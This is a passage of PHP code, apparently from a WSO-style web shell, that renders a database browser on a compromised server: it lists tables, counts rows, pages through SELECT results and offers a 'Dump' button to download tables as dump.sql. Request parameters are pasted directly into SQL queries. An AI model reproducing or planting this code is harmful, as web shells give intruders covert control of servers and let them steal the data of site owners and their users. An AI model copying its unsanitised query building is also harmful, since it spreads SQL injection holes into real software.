echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
}
echo '</select></label>';
} else {
echo $tmp;
}
} else {
echo $tmp;
}
echo "</td>\n\t\t\t\t<td><input type=submit value='submit' onclick='fs(d.sf);'></td>\n <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n s_db='" . @addslashes($_POST['sql_base']) . "';\n function fs(f) {\n if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n if(f.p1) f.p1.value='';\n if(f.p2) f.p2.value='';\n if(f.p3) f.p3.value='';\n }\n }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = 'select';\n\t\t\t\td.sf.p2.value = t;\n if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\n\t\t\t}\n\t\t</script>";
if (isset($db) && $db->link) {
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if (!empty($_POST['sql_base'])) {
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while ($▟ = $db->fetch($tbls_res)) {
list($key, $value) = each($▟);
if (!empty($_POST['sql_count'])) {
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
}
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if (@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
